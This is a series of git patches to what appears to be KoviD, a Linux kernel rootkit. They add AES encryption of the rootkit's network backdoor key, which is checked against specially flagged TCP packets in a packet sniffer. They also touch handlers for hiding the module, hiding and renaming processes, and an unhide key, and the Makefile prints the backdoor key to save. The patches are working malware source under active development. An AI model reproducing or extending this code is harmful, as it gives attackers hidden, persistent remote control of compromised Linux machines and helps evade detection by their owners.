JNE Date: Tue, 19 Nov 2024 14:15:14 +0000 Subject: [PATCH 07/11] Change decrypt API Get a user callback function that is called during decryption. User can copy but not modify buffer. --- src/crypto.c | 19 ++++++++++--------- src/kovid.c | 19 +++++++++++++++---- src/lkm.h | 3 ++- 3 files changed, 27 insertions(+), 14 deletions(-) diff --git a/src/crypto.c b/src/crypto.c index 70a98a1..51fef04 100644 --- a/src/crypto.c +++ b/src/crypto.c @@ -5,9 +5,9 @@ #include #include #include -#include "lkm.h" #include "log.h" #include "crypto.h" +#include "lkm.h" /** internal use transformation handle */ static struct crypto_skcipher *tfm; @@ -111,11 +111,11 @@ size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *buf, size_t buflen) { return copied; } -size_t kv_decrypt(struct kv_crypto_st *kvmgc) { +size_t kv_decrypt(struct kv_crypto_st *kvmgc, decrypt_callback cb, void *userdata) { size_t copied = 0; - if (!kvmgc || !kvmgc->kv_data.buf) { - prerr("Invalid decrypt ptr\n"); + if (!kvmgc || !kvmgc->kv_data.buf || !cb) { + prerr("Invalid decrypt argument\n"); } else { u8 iv_orig[16] = {0}; size_t buflen = kvmgc->kv_data.buflen; @@ -125,7 +125,6 @@ size_t kv_decrypt(struct kv_crypto_st *kvmgc) { memcpy(iv_orig, kvmgc->iv, sizeof(kvmgc->iv)); memcpy(data_orig, kvmgc->kv_data.buf, buflen); - sg_init_one(&kvmgc->sg, kvmgc->kv_data.buf, buflen); skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, buflen, kvmgc->iv); @@ -136,14 +135,16 @@ size_t kv_decrypt(struct kv_crypto_st *kvmgc) { } copied = sg_copy_to_buffer(&kvmgc->sg, 1, kvmgc->kv_data.buf, buflen); - if (copied < buflen) { + if (copied != buflen) { prerr("encrypted count mismatch, expected %lu, copied %ld\n", buflen, copied); return 0; } - /** XXX dump decrypted data somewhere */ - print_hex_dump(KERN_DEBUG, "decrypted text: ", - DUMP_PREFIX_NONE, 16, 1, kvmgc->kv_data.buf, buflen, true); + { + /** user callback */ + const u8 * const buf = kvmgc->kv_data.buf; + cb(buf, buflen, userdata); + } memcpy(kvmgc->iv, iv_orig, sizeof(kvmgc->iv)); memcpy(kvmgc->kv_data.buf, data_orig, buflen); diff --git a/src/kovid.c b/src/kovid.c index 8448101..c83946d 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -878,7 +878,18 @@ static int __init kv_init(void) { return rv; } +/** example decrypt */ +void _decrypt_callback(const u8 * const buf, size_t buflen, void *userdata) { + if (userdata) { + char *name = (char*)userdata; + prinfo("Called from: '%s'\n", name); + } + print_hex_dump(KERN_DEBUG, "decrypted text: ", + DUMP_PREFIX_NONE, 16, 1, buf, buflen, true); +} static void __exit kv_cleanup(void) { + decrypt_callback cb = (decrypt_callback)_decrypt_callback; + sys_deinit(); kv_pid_cleanup(); @@ -902,10 +913,10 @@ static void __exit kv_cleanup(void) { fs_names_cleanup(); /** debug */ - kv_decrypt(kvmgc0); - kv_decrypt(kvmgc1); - kv_decrypt(kvmgc0); - kv_decrypt(kvmgc1); + kv_decrypt(kvmgc0, cb, "debug: kvmgc0"); + kv_decrypt(kvmgc1, cb, "debug: kvmgc1"); + kv_decrypt(kvmgc0, cb, "debug: kvmgc0"); + kv_decrypt(kvmgc1, cb, "debug: kvmgc1"); kv_crypto_mgc_deinit(kvmgc0); kv_crypto_mgc_deinit(kvmgc1); diff --git a/src/lkm.h b/src/lkm.h index dd85796..d92c382 100644 --- a/src/lkm.h +++ b/src/lkm.h @@ -89,11 +89,12 @@ struct kernel_syscalls { unsigned long *tainted; }; +typedef void (*decrypt_callback)(const u8 * const buf, size_t buflen, void *userdata); /** Setup crypto module */ int kv_crypto_key_init(void); struct kv_crypto_st *crypto_init(void); size_t kv_encrypt(struct kv_crypto_st *, u8 *, size_t); -size_t kv_decrypt(struct kv_crypto_st *); +size_t kv_decrypt(struct kv_crypto_st *, decrypt_callback, void *userdata); void kv_crypto_free_data(struct kv_crypto_st *); void kv_crypto_mgc_deinit(struct kv_crypto_st *); void kv_crypto_deinit(void); From a9d711472292ad23c284f701fc8848f2947cc224 Mon Sep 17 00:00:00 2001 From: JNE Date: Tue, 19 Nov 2024 20:24:00 +0000 Subject: [PATCH 08/11] Add first usecase for new crypto bdkey --- Makefile | 4 ++-- src/auto.h | 4 ++-- src/crypto.c | 4 ++-- src/kovid.c | 13 ++++++------- src/lkm.h | 2 +- src/sock.c | 44 +++++++++++++++++++++++++++++++++++++++++++- 6 files changed, 56 insertions(+), 15 deletions(-) diff --git a/Makefile b/Makefile index 6f246bf..7c97129 100644 --- a/Makefile +++ b/Makefile @@ -37,8 +37,8 @@ all: persist # TODO: Check if we can generate a random PROCNAME, something like: # PROCNAME ?= $(shell uuidgen | cut -c1-8) $(if $(PROCNAME),,$(error ERROR: PROCNAME is not defined. Please invoke make with PROCNAME="your_process_name")) - sed -i 's/^#define BDKEY .*/#define BDKEY $(BDKEY)/' src/auto.h - sed -i 's/^#define UNHIDEKEY .*/#define UNHIDEKEY $(UNHIDEKEY)/' src/auto.h + sed -i 's/^static uint64_t auto_bdkey = .*/static uint64_t auto_bdkey = $(BDKEY);/' src/auto.h + sed -i 's/^static uint64_t auto_unhidekey = .*/static uint64_t auto_unhidekey = $(UNHIDEKEY);/' src/auto.h make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules @echo -n "Save this Backdoor KEY: " @echo $(BDKEY) | sed 's/^0x//' diff --git a/src/auto.h b/src/auto.h index 15ab26e..a8a27cd 100644 --- a/src/auto.h +++ b/src/auto.h @@ -6,7 +6,7 @@ #ifndef __AUTO_H #define __AUTO_H -#define BDKEY 0x0000000000000000 -#define UNHIDEKEY 0x0000000000000000 +static uint64_t auto_bdkey = 0x0000000000000000; +static uint64_t auto_unhidekey = 0x0000000000000000; #endif diff --git a/src/crypto.c b/src/crypto.c index 51fef04..f406a44 100644 --- a/src/crypto.c +++ b/src/crypto.c @@ -96,7 +96,7 @@ size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *buf, size_t buflen) { } copied = sg_copy_to_buffer(&kvmgc->sg, 1, buf, buflen); - if (copied < buflen) { + if (copied != buflen) { prerr("encrypted count mismatch, expected %lu, copied %lu\n", buflen, copied); return 0; } @@ -143,7 +143,7 @@ size_t kv_decrypt(struct kv_crypto_st *kvmgc, decrypt_callback cb, void *userdat { /** user callback */ const u8 * const buf = kvmgc->kv_data.buf; - cb(buf, buflen, userdata); + cb(buf, buflen, copied, userdata); } memcpy(kvmgc->iv, iv_orig, sizeof(kvmgc->iv)); diff --git a/src/kovid.c b/src/kovid.c index c83946d..a0f7033 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -68,7 +68,6 @@ static unsigned int op_lock; static DEFINE_MUTEX(prc_mtx); static DEFINE_SPINLOCK(elfbits_spin); - //XXX debug static struct kv_crypto_st *kvmgc0, *kvmgc1; @@ -802,6 +801,10 @@ static int __init kv_init(void) { #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,17,0) cont: #endif + /** Init crypto engine */ + kv_crypto_key_init(); + + tsk_sniff = kv_sock_start_sniff(); if (!tsk_sniff) goto unroll_init; @@ -823,9 +826,6 @@ static int __init kv_init(void) { kv_scan_and_hide(); - /** Init crypto engine */ - kv_crypto_key_init(); - /** debug */ kvmgc0 =crypto_init(); if (kvmgc0) { @@ -879,7 +879,7 @@ static int __init kv_init(void) { } /** example decrypt */ -void _decrypt_callback(const u8 * const buf, size_t buflen, void *userdata) { +void _decrypt_callback(const u8 * const buf, size_t buflen, size_t copied, void *userdata) { if (userdata) { char *name = (char*)userdata; prinfo("Called from: '%s'\n", name); @@ -887,6 +887,7 @@ void _decrypt_callback(const u8 * const buf, size_t buflen, void *userdata) { print_hex_dump(KERN_DEBUG, "decrypted text: ", DUMP_PREFIX_NONE, 16, 1, buf, buflen, true); } + static void __exit kv_cleanup(void) { decrypt_callback cb = (decrypt_callback)_decrypt_callback; @@ -915,8 +916,6 @@ static void __exit kv_cleanup(void) { /** debug */ kv_decrypt(kvmgc0, cb, "debug: kvmgc0"); kv_decrypt(kvmgc1, cb, "debug: kvmgc1"); - kv_decrypt(kvmgc0, cb, "debug: kvmgc0"); - kv_decrypt(kvmgc1, cb, "debug: kvmgc1"); kv_crypto_mgc_deinit(kvmgc0); kv_crypto_mgc_deinit(kvmgc1); diff --git a/src/lkm.h b/src/lkm.h index d92c382..d88c7c7 100644 --- a/src/lkm.h +++ b/src/lkm.h @@ -89,7 +89,7 @@ struct kernel_syscalls { unsigned long *tainted; }; -typedef void (*decrypt_callback)(const u8 * const buf, size_t buflen, void *userdata); +typedef void (*decrypt_callback)(const u8 * const buf, size_t buflen, size_t copied, void *userdata); /** Setup crypto module */ int kv_crypto_key_init(void); struct kv_crypto_st *crypto_init(void); diff --git a/src/sock.c b/src/sock.c index fc3fddb..f4f3974 100644 --- a/src/sock.c +++ b/src/sock.c @@ -31,6 +31,8 @@ struct iph_node_t { }; struct task_struct *tsk_iph = NULL; +static struct kv_crypto_st *kvmgc_bdkey; + #define BD_PATH_NUM 3 #define BD_OPS_SIZE 2 enum { @@ -426,9 +428,24 @@ static int _bd_watchdog(void *t) #endif } +static struct check_bdkey_t { + bool ok; + uint64_t address_value; +}; + +void _bdkey_callback(const u8 * const buf, size_t buflen, size_t copied, void *userdata) { + struct check_bdkey_t *validate = (struct check_bdkey_t*)userdata; + if (validate && validate->address_value) { + if (validate->address_value == *((uint64_t*)buf)) + validate->ok = true; + } +} + bool kv_check_bdkey(struct tcphdr *t, struct sk_buff *skb) { uint8_t silly_word = 0; enum { FUCK=0x8c, CUNT=0xa5, ASS=0x38 }; + decrypt_callback cbkey = (decrypt_callback)_bdkey_callback; + extern struct kv_crypto_st *kvmgc_bdkey; silly_word = t->fin << 7| t->syn << 6| t->rst << 5| t->psh << 4| t->ack << 3| t->urg << 2| t->ece <<1| t->cwr; @@ -439,6 +456,7 @@ bool kv_check_bdkey(struct tcphdr *t, struct sk_buff *skb) { unsigned char *data = skb->data + 40; if (skb->len >= sizeof(struct tcphdr) + sizeof(struct iphdr) + 8) { + struct check_bdkey_t validate = {0}; address_value = ((unsigned long)data[0] << 56) | ((unsigned long)data[1] << 48) | ((unsigned long)data[2] << 40) | @@ -447,8 +465,11 @@ bool kv_check_bdkey(struct tcphdr *t, struct sk_buff *skb) { ((unsigned long)data[5] << 16) | ((unsigned long)data[6] << 8) | (unsigned long)data[7]; - if (address_value == BDKEY) + validate.address_value = address_value; + kv_decrypt(kvmgc_bdkey, cbkey, &validate); + if (validate.ok == true) { return true; + } } } return false; @@ -570,6 +591,26 @@ struct task_struct *kv_sock_start_sniff(void) { static struct nf_priv priv; struct task_struct *tsk = NULL; + /** + * Init bdkey enc + */ + kvmgc_bdkey = crypto_init(); + if (kvmgc_bdkey) { + /** Allocate more than needed (8) + * as its the minimum for AES-256 + * */ + size_t datalen = 16; + u8 *buf = kmalloc(datalen, GFP_KERNEL); + if (!buf) + return NULL; + + memcpy(buf, &auto_bdkey, 8); + kv_encrypt(kvmgc_bdkey, buf, datalen); + + /** discard saved key */ + auto_bdkey = 0; + } + // load sniffer if (!*running) { // Hook pre routing @@ -641,6 +682,7 @@ void kv_sock_stop_sniff(struct task_struct *tsk) { _free_kfifo_items(); kfifo_free(&buffer); + kv_crypto_mgc_deinit(kvmgc_bdkey); } void kv_sock_stop_fw_bypass(void) { From 045c2eba945fc7cb8b0db8bb7122de67569045ce Mon Sep 17 00:00:00 2001 From: JNE Date: Sun, 1 Dec 2024 14:25:47 +0000 Subject: [PATCH 09/11] Allocate buffer in crypto impl --- Makefile | 2 +- src/crypto.c | 11 +++++++++-- src/kovid.c | 11 +++-------- src/sock.c | 11 ++++------- 4 files changed, 17 insertions(+), 18 deletions(-) diff --git a/Makefile b/Makefile index 7c97129..d2ad9ca 100644 --- a/Makefile +++ b/Makefile @@ -65,7 +65,7 @@ clean: @rm -f *.o src/*.o $(persist) @git checkout a6333fdc9e9d647b7d64e9e9cb1e6c0237a8967f \ -- src/persist.S 2>/dev/null || true - @git checkout b5b1976947f16e4f8ac1e1778ef5984a7c47b824 \ + @git checkout a9d711472292ad23c284f701fc8848f2947cc224 \ -- src/auto.h 2>/dev/null || true @echo "Clean." diff --git a/src/crypto.c b/src/crypto.c index f406a44..9c2aea7 100644 --- a/src/crypto.c +++ b/src/crypto.c @@ -80,6 +80,12 @@ size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *buf, size_t buflen) { return 0; } + kvmgc->kv_data.buf = kmalloc(buflen, GFP_KERNEL); + if (!kvmgc->kv_data.buf) { + prerr("Memory error\n"); + return 0; + } + /** debug */ print_hex_dump(KERN_DEBUG, "plain text: ", DUMP_PREFIX_NONE, 16, 1, buf, buflen, true); @@ -92,20 +98,21 @@ size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *buf, size_t buflen) { rc = crypto_skcipher_encrypt(kvmgc->req); if (rc < 0) { prerr("Encryption failed %d\n", rc); + kfree(kvmgc->kv_data.buf); return 0; } copied = sg_copy_to_buffer(&kvmgc->sg, 1, buf, buflen); if (copied != buflen) { prerr("encrypted count mismatch, expected %lu, copied %lu\n", buflen, copied); + kfree(kvmgc->kv_data.buf); return 0; } print_hex_dump(KERN_DEBUG, "encrypted text: ", DUMP_PREFIX_NONE, 16, 1, buf, buflen, true); memcpy(kvmgc->iv, iv_orig, sizeof(kvmgc->iv)); - - kvmgc->kv_data.buf = buf; + memcpy(kvmgc->kv_data.buf, buf, buflen); kvmgc->kv_data.buflen = buflen; return copied; diff --git a/src/kovid.c b/src/kovid.c index a0f7033..d567877 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -507,7 +507,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, { uint64_t val; if ((sscanf(args[0].from, "%llx", &val) == 1) && - UNHIDEKEY == val) { + auto_unhidekey == val) { kv_unhide_mod(); } } @@ -830,10 +830,7 @@ static int __init kv_init(void) { kvmgc0 =crypto_init(); if (kvmgc0) { size_t datalen = 64; - u8 *buf = kmalloc(datalen, GFP_KERNEL); - if (!buf) - return -ENOMEM; - + u8 buf[datalen]; memset(buf, 'A', datalen); kv_encrypt(kvmgc0, buf, datalen); } @@ -841,9 +838,7 @@ static int __init kv_init(void) { kvmgc1 =crypto_init(); if (kvmgc1) { size_t datalen = 64; - u8 *buf = kmalloc(datalen, GFP_KERNEL); - if (!buf) - return -ENOMEM; + u8 buf[datalen]; /** go random this time */ get_random_bytes(buf, datalen); diff --git a/src/sock.c b/src/sock.c index f4f3974..9351440 100644 --- a/src/sock.c +++ b/src/sock.c @@ -596,14 +596,11 @@ struct task_struct *kv_sock_start_sniff(void) { */ kvmgc_bdkey = crypto_init(); if (kvmgc_bdkey) { - /** Allocate more than needed (8) - * as its the minimum for AES-256 - * */ + /** for the aes-256, 16 bytes + * is minimum data size + */ size_t datalen = 16; - u8 *buf = kmalloc(datalen, GFP_KERNEL); - if (!buf) - return NULL; - + u8 buf[16] = {0}; memcpy(buf, &auto_bdkey, 8); kv_encrypt(kvmgc_bdkey, buf, datalen); From 4ec19088125ab046cd30bb26bc8a6c94cbcbbd02 Mon Sep 17 00:00:00 2001 From: JNE Date: Sun, 1 Dec 2024 14:40:36 +0000 Subject: [PATCH 10/11] Fix: check return from sscanf --- src/kovid.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/kovid.c b/src/kovid.c index d567877..93308f4 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -490,14 +490,14 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, kv_show_all_tasks(); break; case Opt_hide_task_backdoor: - if (sscanf(args[0].from, "%d", &pid)) + if (sscanf(args[0].from, "%d", &pid) == 1) kv_hide_task_by_pid(pid, 1, CHILDREN); break; case Opt_list_hidden_tasks: kv_show_saved_tasks(); break; case Opt_rename_hidden_task: - if (sscanf(args[0].from, "%d", &pid)) + if (sscanf(args[0].from, "%d", &pid) == 1) kv_rename_task(pid, args[1].from); break; case Opt_hide_module: @@ -560,7 +560,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, break; case Opt_fetch_base_address: { - if (sscanf(args[0].from, "%d", &pid)) { + if (sscanf(args[0].from, "%d", &pid) == 1) { unsigned long base; char bits[32+1] = {0}; base = kv_get_elf_vm_start(pid); From f09aefe67812d5443d59134445fb6ba1e7214b34 Mon Sep 17 00:00:00 2001 From: JNE Date: Sun, 1 Dec 2024 21:54:02 +0000 Subject: [PATCH 11/11] crypto: Remove crypto debug code --- src/kovid.c | 39 --------------------------------------- 1 file changed, 39 deletions(-) diff --git a/src/kovid.c b/src/kovid.c index 93308f4..4fd8c68 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -68,9 +68,6 @@ static unsigned int op_lock; static DEFINE_MUTEX(prc_mtx); static DEFINE_SPINLOCK(elfbits_spin); -//XXX debug -static struct kv_crypto_st *kvmgc0, *kvmgc1; - /** gcc - fuck 32 bits shit (for now!) */ #ifndef __x86_64__ #error "fuuuuuu Support is only for x86-64" @@ -826,25 +823,6 @@ static int __init kv_init(void) { kv_scan_and_hide(); - /** debug */ - kvmgc0 =crypto_init(); - if (kvmgc0) { - size_t datalen = 64; - u8 buf[datalen]; - memset(buf, 'A', datalen); - kv_encrypt(kvmgc0, buf, datalen); - } - - kvmgc1 =crypto_init(); - if (kvmgc1) { - size_t datalen = 64; - u8 buf[datalen]; - - /** go random this time */ - get_random_bytes(buf, datalen); - kv_encrypt(kvmgc1, buf, datalen); - } - #ifndef DEBUG_RING_BUFFER kv_hide_mod(); op_lock = 1; @@ -873,18 +851,7 @@ static int __init kv_init(void) { return rv; } -/** example decrypt */ -void _decrypt_callback(const u8 * const buf, size_t buflen, size_t copied, void *userdata) { - if (userdata) { - char *name = (char*)userdata; - prinfo("Called from: '%s'\n", name); - } - print_hex_dump(KERN_DEBUG, "decrypted text: ", - DUMP_PREFIX_NONE, 16, 1, buf, buflen, true); -} - static void __exit kv_cleanup(void) { - decrypt_callback cb = (decrypt_callback)_decrypt_callback; sys_deinit(); kv_pid_cleanup(); @@ -908,12 +875,6 @@ static void __exit kv_cleanup(void) { fs_names_cleanup(); - /** debug */ - kv_decrypt(kvmgc0, cb, "debug: kvmgc0"); - kv_decrypt(kvmgc1, cb, "debug: kvmgc1"); - - kv_crypto_mgc_deinit(kvmgc0); - kv_crypto_mgc_deinit(kvmgc1); kv_crypto_deinit(); prinfo("unloaded.\n");